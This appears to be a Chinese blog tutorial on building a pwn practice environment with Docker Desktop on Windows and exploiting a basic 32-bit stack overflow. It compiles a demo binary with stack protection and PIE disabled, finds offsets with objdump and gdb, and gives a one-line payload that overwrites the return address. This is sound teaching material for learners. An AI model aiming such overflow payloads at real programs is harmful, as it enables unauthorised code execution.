基于Windows Docker desktop搭建pwn环境

安装虚拟机很重,占空间,影响速度。
今天试了下用Windows下的Docker搭建pwn做题环境,搭配MobaXterm真的很好!

一、Windows下安装Docker desktop

网上参考文章很多,不赘述。
说明:去https://www.docker.com/products/docker-desktop下载最新版本的安装包,国内可能下载不了,你懂的,也有博主分享了baiduyun,安装过程非常简单,不用手动调整windows组件(WSL v2)。
在这里插入图片描述

安装完成需要配置源:
国内从 DockerHub 拉取镜像有时会遇到困难,此时可以配置镜像加速器。
阿里云镜像获取地址:https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
在这里插入图片描述

然后把wsl的虚拟机地址移到其他盘(默认C盘):
在这里插入图片描述

二、从Dockerfile建立镜像,并运行容器

参考:https://ctf-wiki.org/pwn/linux/user-mode/environment/

新建Dockerfile文件

在这里插入图片描述

执行build生成镜像

docker build -t pwn_ubuntu22 .

运行容器

docker run -d -p 25000:22 --name=pwn22 --restart unless-stopped -v home_ubuntu22:/home/l11 pwn_ubuntu22

MobaXterm连接容器

在这里插入图片描述

三、写C代码、编译、执行

具体代码略,参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/
注意编译时要加-no-pie参数:

gcc -m32 -fno-stack-protector stack_example.c -no-pie -o stack_example

执行,观察有栈溢出漏洞:
在这里插入图片描述

四、反汇编

目标:找到合适的调试断点及控制程序返回点

objdump -M intel -d stack_example

找到函数:vulnerable
找到返回前的地址:0x080491e5,在这里下断点调试
在这里插入图片描述
找到suscess函数地址:0x08049186
在这里插入图片描述

五、栈溢出调试(原始方法,暂时没用pwntools)

准备输入文本

脚本:

#s0.py
buffer = ""

for i in range(0x41,0x5b): #AAAA-ZZZZ
  buffer += chr(i)*4

print(buffer)

生成文件:

python s0.py > s0.txt

在这里插入图片描述

gdb调试

下断点,导入文本:

gdb stack_example
b *0x080491e5
start
r < s0.txt

在这里插入图片描述
在这里插入图片描述
算出需要填入的字符为0x18个(A-F:6个字母,4*6=24=0x18)
在这里插入图片描述
按c回车继续执行
在这里插入图片描述

六、最终脚本

再次生成测试文本:
上面算出需要填充0x18个字符,覆盖ebp,再写入返回地址

python2 -c 'print("A" * 0x18 + "\x86\x91\x04\x08")' > s1.txt

说明:“\x86\x91\x04\x08” 为success地址:0x08049186的小端形式,反过来的。
在这里插入图片描述
再次调试:
在这里插入图片描述
打一下试试:

python2 -c 'print("A" * 0x18 + "\x86\x91\x04\x08")' | ./stack_example

在这里插入图片描述
pwn环境配置及最简单的pwn题测试成功了!

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值